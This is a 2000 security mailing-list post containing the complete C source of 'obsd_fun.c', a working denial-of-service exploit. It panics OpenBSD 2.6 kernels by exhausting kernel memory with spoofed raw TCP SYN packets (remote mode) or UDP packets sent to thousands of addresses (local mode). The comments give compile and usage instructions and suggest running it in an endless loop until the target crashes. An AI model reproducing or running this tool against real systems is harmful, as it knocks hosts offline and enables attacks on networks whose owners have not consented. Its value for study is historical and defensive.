OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
Subject: obsd_fun.c
From: skyper (skyperSEGFAULT.NET)
Date: Thu Oct 05 2000 - 13:40:16 CDT


"hello hello obsd team. my obsd box panics every few seconds.
 what the hell is wrong?"

"oh ? really ? hmm...out of space in kmem_map ?"

"YES. you know about this bug ?"

"yes. some kiddo is running a DoS against your box.
 we fixed it in 2.7. the kernel runs out of memory if you
 flood it with arp-request. ..but..psssstt..."

"oh. ok. i wont tell anyone. ive heard of some
 other exploits for obsd. maybe its time to change
 the 'Three years without a remote hole in the default install!'
 to '3 years without releasing an advisory' ?"

[just kidding. obsd is a good [best?] OS when it comes
to security. but never forgett: 'dont trust the trust' :)]

/*
 * [local/remote] kernel-panic DoS against openBSD 2.6
 * 20000802, anonymoussegfault.net
 *
 * works on local lan or any host which can be reached through
 * gateways with rp_filter = 0 [default on most linux routers and most other
 * OS'es. take a look at /proc/sys/net/ipv4/conf/default/rp_filter].
 *
 * panic: malloc: out of space in kmem_map,
 * Stopped at: _debugger+0x4: ieave
 *
 * this is nothing special. The kernel runs out of memory
 * and panics.
 *
 * ./obsd_fun <target ip> <network> <count>
 * target_ip is the ...wtf..you know what it is.
 * network is the beginning of the network of the target_ip.
 * count is the number of hosts we spoof from.
 *
 * How does it work ?:
 * While coding some scanning tool i saw that linux was unable
 * to handle 1000 arp-request/sec [arp-table overflow].
 * I thought obsd could be able to handle 1k arp-request/sec..but
 * i was wrong.
 *
 * First DoS was a local one. All I did was sent
 * packets to thousend of hosts on the same network.
 * [it doesnt matter if the hosts exist or not]
 * The Obsd kernel paniced after a few seconds.
 * I leave it as an exercise for the reader to reengineer the local DoS.
 * [addon after a 'bratwurscht'-break: i took the exercise myself.]
 *
 * Remote DoS:
 * We send thousends of spoofed packets to the target machiene.
 * The target machiene tries to answer these packets [with
 * a tcp-syn, tcp-rst ,icmp-port-unreachable or whatever].
 *
 * For that it needs the mac-address of the origin host.
 * If this host does not exist the Obsd box will never get
 * an answer and w8 for the arp-reply until it timesout.
 * Thats it. We simply overflow the arp-table/memory.
 *
 * I use tcp-packets in this example. It also works with udp or icmp.
 *
 * How to use it?:
 * gcc -Wall -o obsd_fun obsd_fun.c
 * If the host-ip is 10.23.13.37 on a 10.23/16 network:
 * leetbox:~# ./obsd_fun 10.23.13.37 10.23.0.1 65534
 *
 * A count of 20.000 works fine here. But my box only has 64 MB ram.
 * If this doesnt work try bigger values.
 * If this still does not work...try an endless loop:
 * while :; do ./obsd_fun 10.23.13.37 10.23.0.1 65534 ; done
 * [sound crazy..but it works. I was unable to DoS a obsd 2.6 on
 * a /16-network with 128 MB ram and a count of 65334...but after
 * 6-loops the box paniced]
 *
 * Local DoS:
 * Works like the remote one. But we use udp this time:
 * myfirstobsd:~$ ./obsd_fun 10.23.0.1 32000
 * works fine on my 64 MB obsd 2.6 box.
 *
 *
 * Oh..i forgott something:
 * Basicly i dont like DoS-attacks or really lame (d)dos attacks.
 * It SUCKs. Thats really not what hacking is about.
 *
 * Greetings: yum. this is a DoS. to lame for greetings.
 *
 *
 */

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#ifndef __FAVOR_BSD
#define __FAVOR_BSD
#endif
#ifndef __USE_BSD
#define __USE_BSD
#endif
#ifndef __BSD_SOURCE
#define __BSD_SOURCE
#endif
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>

#define ETH_SIZE 14
#define IP_SIZE 20
#define TCP_SIZE 20

#define int_ntoa(x) inet_ntoa(*((struct in_addr *)&(x)))

/*
 * Checksum stuff
 */
#define CKSUM_CARRY(x) \
    (x = (x >> 16) + (x & 0xffff), (~(x + (x >> 16)) & 0xffff))

/*
 * leet net tuple
 */
struct net_tuple
{
  uint32_t src;
  unsigned short int sport;
  uint32_t dst;
  unsigned short int dport;
};

/*
 * pseudo TCP header for calculating the chksum
 */
struct _fakehead {
    uint32_t saddr;
    uint32_t daddr;
    uint8_t zero;
    uint8_t protocol;
    uint16_t tot_len;
};

unsigned char packet[128];

/*
 * calc. checksum WITH carry flag.
 * call cksum = CKSUM_CARRY(in_cksum(blah));
 */
int
in_cksum(unsigned short *addr, int len)
{
   int nleft = len;
   int sum = 0;
   u_short *w = addr;
   u_short answer = 0;

   while (nleft > 1)
   {
      sum += *w++;
      nleft -= 2;
   }

   if (nleft == 1) /* padding */
   {
      *(u_char *) (&answer) = *(u_char *) w;
      sum += answer;
   }

  return(sum);
}

void
add_tcphdr(unsigned char *pkt, struct net_tuple *nt, uint8_t flags)
{
   struct tcphdr tcp;
   struct _fakehead fakehead;
   int sum;

   memset(&tcp, 0, sizeof(tcp));
   memset(&fakehead, 0, sizeof(fakehead));

   tcp.th_dport = nt->dport;
   tcp.th_sport = nt->sport;
   fakehead.saddr = nt->src;
   fakehead.daddr = nt->dst;
   fakehead.zero = 0,
   fakehead.protocol = 6;
   fakehead.tot_len = htons(TCP_SIZE);
   sum = in_cksum((u_short *)&fakehead, sizeof(fakehead));
   tcp.th_off = TCP_SIZE >> 2;
   tcp.th_seq = 31337; /* ###fixme */
   tcp.th_flags |= flags; /* ADD the flags */
   tcp.th_win = htons(0x3fff);
   sum += in_cksum((u_short *)&tcp, sizeof(tcp));
   tcp.th_sum = CKSUM_CARRY(sum);
   memcpy(pkt, &tcp, sizeof(tcp));
}

/*
 * add's ipv4-header of 20 bytes without any options
 * - IPPROTO_TCP and 40 bytes total length
 */
void
add_iphdr(unsigned char *pkt, struct net_tuple *nt)
{
  struct ip ip;

  memset(&ip, 0, 20);
  ip.ip_hl = sizeof(ip) >> 2;
  ip.ip_v = 4;
  /*ip->tos = 0;*/
  ip.ip_len = htons(IP_SIZE + TCP_SIZE); /* htons ? */
  /*ip->id = 0; done by kernel */
  /*ip->frag_off = 0;*/
  ip.ip_ttl = 0xff;
  ip.ip_p = IPPROTO_TCP;
  /*.ip->check = 0; done by kernel */
  ip.ip_src.s_addr = nt->src;
  ip.ip_dst.s_addr = nt->dst;
  memcpy(pkt, &ip, sizeof(ip));
}

/*
 * send out ipv4-packet
 * with data 'pkt' of length 'len'
 * returns the number of characters sent, or -1 if an error occured
 */
int
send_ipv4(int sox, u_char *pkt, size_t len)
{
   struct sockaddr_in to;

   to.sin_family = AF_INET;
   memcpy(&to.sin_addr.s_addr, (pkt + 4*4), sizeof(u_long));

   return(sendto(sox, pkt, len, 0 , (struct sockaddr *)&to, sizeof(to)) );
}

/*
 * for a local DoS.
 * we use udp this time [much easier, much faster, but only local:)]
 */
void
local_dos(char *argv[])
{
  struct sockaddr_in saddr;
  int c=0;
  int sox;
  int iprunner;

  if( (sox = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
  {
     fprintf(stderr, "error creating socket\n");
     exit(1);
  }

  memset(&saddr, 0, sizeof(saddr));
  saddr.sin_family = AF_INET;
  saddr.sin_port = htons(31337);
  iprunner = ntohl(inet_addr(argv[1]));

  while (c++< atoi(argv[2]))
  {
    saddr.sin_addr.s_addr = htonl(iprunner++);
    sendto(sox, NULL, 0, 0, (struct sockaddr *)&saddr, sizeof(saddr));
  }

  printf("not working ?! wtf ! mailme asap anonymoussegfault.net\n");
  exit(0);

}

void
usage(int code)
{
  printf("\n4local DoS:\n");
  printf("obsd_fun <network> <count>\n");
  printf(" obsd_fun 10.23.0.1 32000\n\n");
  printf("4 remote DoS:\n");
  printf("obsd_fun <target_ip> <network> <count>\n");
  printf(" obsd_fun 10.23.13.37 10.23.0.1 65000\n\n");
  exit(code);
}

int
main(int argc, char *argv[])
{
  struct net_tuple nt;
  int sox;
  int on = 1;
  unsigned long iprunner;
  int c=0;

  if (argc < 3)
     usage(0);
  if (argc == 3)
     local_dos(argv);

  memset(&nt, 0, sizeof(nt));

  if( (sox = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  {
     fprintf(stderr, "error creating socket\n");
     exit(1);
  }
  if (setsockopt(sox, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0)
  {
     fprintf(stderr, "error setsockopt\n");
     exit(1);
  }

  printf("nuking %s on network %s with %d ip's\n",
                                         argv[1], argv[2], atoi(argv[3]));

  nt.dport = htons(31337);
  nt.sport = htons(31338);
  if ( (nt.dst = inet_addr(argv[1])) == -1)
  {
    fprintf(stderr, "nah. use IP insteat of hostname.\n");
    exit(0);
  }
  iprunner = ntohl(inet_addr(argv[2]));
  memset(packet, 0 , sizeof(packet));

  while (c++< atoi(argv[3]))
  {
    nt.src = htonl(iprunner++);
    add_tcphdr(packet + ETH_SIZE + IP_SIZE, &nt, TH_SYN);
    add_iphdr(packet + ETH_SIZE, &nt);
    send_ipv4(sox, packet + ETH_SIZE, IP_SIZE + TCP_SIZE);
  }

 printf("done. Try an endless loop if box is still alive.\n");
 return(0);
}